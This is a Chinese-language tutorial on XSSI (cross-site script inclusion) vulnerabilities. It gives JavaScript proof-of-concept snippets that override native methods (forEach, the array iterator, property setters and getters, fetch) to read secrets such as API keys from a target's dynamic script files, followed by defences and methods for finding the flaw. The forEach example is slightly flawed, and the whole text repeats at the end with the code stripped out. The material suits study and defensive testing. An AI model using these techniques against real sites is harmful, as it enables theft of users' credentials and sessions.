xssi漏洞案例分析+漏洞挖掘
字数 1384 2025-08-25 22:59:03

XSSI漏洞分析与挖掘技术详解

一、XSSI漏洞概述

XSSI(Cross-Site Script Inclusion,跨站脚本包含)是一种安全漏洞,主要由于开发者将敏感数据临时存储在动态JavaScript文件中,导致这些数据可能被恶意网站窃取。

1.1 漏洞背景

  • 2018年首次在Freebuf上被详细描述
  • 2020年PayPal案例中导致用户账户信息泄露,包括用户名、邮箱等敏感信息,漏洞发现者获得1.5万美元奖金

1.2 漏洞原理

开发过程中常将数据临时存储在动态JS文件中以便全局调用,这些数据可能包含:

  • 用户凭证
  • API密钥
  • 会话信息
  • 其他敏感数据

问题在于攻击者可以通过嵌入这些JS文件并覆写JavaScript原生方法,窃取其中的敏感数据。

二、XSSI漏洞攻击技术

2.1 基本攻击方法

攻击者通过在自己的恶意页面中包含目标站点的动态JS文件,并覆写JavaScript原生方法或对象来窃取数据。

2.2 典型攻击案例

案例1:数组内容窃取

目标页面代码:

(function(){
  var secret = ["abc","def"];
  secret.forEach(function(element){
    // do something
  });
})();

攻击代码:

<script>
  Array.prototype.forEach = function(callback){
    var resultstring = "your secret are:<b>";
    for (var i = 0,length=this.length;i<length;i++) {
      if(i>0){
        resultstring += this[i];
      }
      resultstring +="</b>";
      var div = document.getElementById("result");
      div.innerHTML = resultstring;
    }
  };
</script>

案例2:迭代器覆写攻击

目标页面代码:

(function(){
  let secretArray = ["this","contains", "an", "API", "key"];
  for (let element of secretArray) {
    doSomething(element);
  }
})();

攻击代码:

Array.prototype[Symbol.iterator]= function() {
  let arr = this;
  let index = 0;
  console.log(arr);
  return {
    next: function() {
      return {
        value: arr[index++], 
        done: index > arr.length
      }
    }
  };
};

案例3:属性访问器攻击

目标页面代码:

(function(){
  "use strict";
  var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29";
  fetch('/api/v1/getusers', {
    method: "POST",
    body: "api_key=" + api_key
  });
})();

攻击代码:

Object.prototype.__defineSetter__('api_key',function(value){
  console.log("this value has been setting:");
  console.log(value);
  return this._api_key = value;
});

Object.prototype.__defineGetter__('api_key',function(value){
  console.log("this value has been getting:");
  console.log(value);
  return this._api_key;
});

案例4:函数覆写攻击

目标页面代码:

(function(){
  "use strict";
  var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29";
  fetch('/api/v1/getusers', {
    method: "POST",
    body: "api_key=" + api_key
  });
})();

攻击代码:

window.fetch = (url, options) => {
  console.log(`URL: ${url}, data:${options.body}`);
  alert(options.body);
};

案例5:PayPal实际案例

  • 泄露JS文件中的CSRF token和session信息
  • 触发Google验证码机制后,验证通过返回的表单包含用户敏感信息
  • 攻击者通过编写的POC JS文件触发用户Google验证机制,获取返回的响应信息

三、XSSI与JSONP劫持的关系

特性 XSSI JSONP劫持
目标 动态JS文件中的敏感数据 JSONP回调函数中的数据
方法 覆写JS原生方法/对象 插入恶意回调函数
数据位置 服务器为客户端生成的JS文件 JSONP接口响应
危害 用户凭证泄露、账号接管 敏感数据泄露

四、漏洞防御措施

  1. 避免在JS文件中存储敏感数据

    • 不要将API密钥、用户凭证等直接存储在JS文件中
    • 使用服务器端会话管理敏感数据
  2. 数据加密

    • 对必须存储在JS文件中的数据进行自定义复杂加密
    • 实现动态解密机制
  3. 内容安全策略(CSP)

    • 实施严格的CSP策略
    • 白名单化允许加载的JS文件来源
    • 使用nonce或hash限制脚本执行
  4. 其他措施

    • 使用HTTP-only和Secure标志的Cookie
    • 实施CSRF防护机制
    • 对敏感操作进行二次验证

五、漏洞挖掘方法

  1. 静态分析

    • 审查网站加载的所有JS文件
    • 查找包含敏感数据的动态JS文件
  2. 动态分析

    • 监控网络请求,识别动态生成的JS文件
    • 分析JS文件内容是否包含敏感信息
  3. 攻击模拟

    • 尝试在自己的页面中包含目标JS文件
    • 测试是否能覆写原生JS方法获取数据
    • 验证是否能窃取到敏感信息
  4. 自动化工具

    • 使用Burp Suite等工具扫描JS文件
    • 开发自定义脚本检测XSSI漏洞

六、总结

XSSI是一种严重的安全漏洞,可能导致用户敏感信息泄露甚至账号被接管。开发者应避免在JS文件中存储敏感数据,实施严格的CSP策略,并对必须传输的数据进行适当加密。安全研究人员在挖掘此类漏洞时,应重点关注动态生成的JS文件内容和可能的原型污染攻击面。

XSSI漏洞分析与挖掘技术详解 一、XSSI漏洞概述 XSSI(Cross-Site Script Inclusion,跨站脚本包含)是一种安全漏洞,主要由于开发者将敏感数据临时存储在动态JavaScript文件中,导致这些数据可能被恶意网站窃取。 1.1 漏洞背景 2018年首次在Freebuf上被详细描述 2020年PayPal案例中导致用户账户信息泄露,包括用户名、邮箱等敏感信息,漏洞发现者获得1.5万美元奖金 1.2 漏洞原理 开发过程中常将数据临时存储在动态JS文件中以便全局调用,这些数据可能包含: 用户凭证 API密钥 会话信息 其他敏感数据 问题在于攻击者可以通过嵌入这些JS文件并覆写JavaScript原生方法,窃取其中的敏感数据。 二、XSSI漏洞攻击技术 2.1 基本攻击方法 攻击者通过在自己的恶意页面中包含目标站点的动态JS文件,并覆写JavaScript原生方法或对象来窃取数据。 2.2 典型攻击案例 案例1:数组内容窃取 目标页面代码 : 攻击代码 : 案例2:迭代器覆写攻击 目标页面代码 : 攻击代码 : 案例3:属性访问器攻击 目标页面代码 : 攻击代码 : 案例4:函数覆写攻击 目标页面代码 : 攻击代码 : 案例5:PayPal实际案例 泄露JS文件中的CSRF token和session信息 触发Google验证码机制后,验证通过返回的表单包含用户敏感信息 攻击者通过编写的POC JS文件触发用户Google验证机制,获取返回的响应信息 三、XSSI与JSONP劫持的关系 | 特性 | XSSI | JSONP劫持 | |------|------|-----------| | 目标 | 动态JS文件中的敏感数据 | JSONP回调函数中的数据 | | 方法 | 覆写JS原生方法/对象 | 插入恶意回调函数 | | 数据位置 | 服务器为客户端生成的JS文件 | JSONP接口响应 | | 危害 | 用户凭证泄露、账号接管 | 敏感数据泄露 | 四、漏洞防御措施 避免在JS文件中存储敏感数据 不要将API密钥、用户凭证等直接存储在JS文件中 使用服务器端会话管理敏感数据 数据加密 对必须存储在JS文件中的数据进行自定义复杂加密 实现动态解密机制 内容安全策略(CSP) 实施严格的CSP策略 白名单化允许加载的JS文件来源 使用nonce或hash限制脚本执行 其他措施 使用HTTP-only和Secure标志的Cookie 实施CSRF防护机制 对敏感操作进行二次验证 五、漏洞挖掘方法 静态分析 审查网站加载的所有JS文件 查找包含敏感数据的动态JS文件 动态分析 监控网络请求,识别动态生成的JS文件 分析JS文件内容是否包含敏感信息 攻击模拟 尝试在自己的页面中包含目标JS文件 测试是否能覆写原生JS方法获取数据 验证是否能窃取到敏感信息 自动化工具 使用Burp Suite等工具扫描JS文件 开发自定义脚本检测XSSI漏洞 六、总结 XSSI是一种严重的安全漏洞,可能导致用户敏感信息泄露甚至账号被接管。开发者应避免在JS文件中存储敏感数据,实施严格的CSP策略,并对必须传输的数据进行适当加密。安全研究人员在挖掘此类漏洞时,应重点关注动态生成的JS文件内容和可能的原型污染攻击面。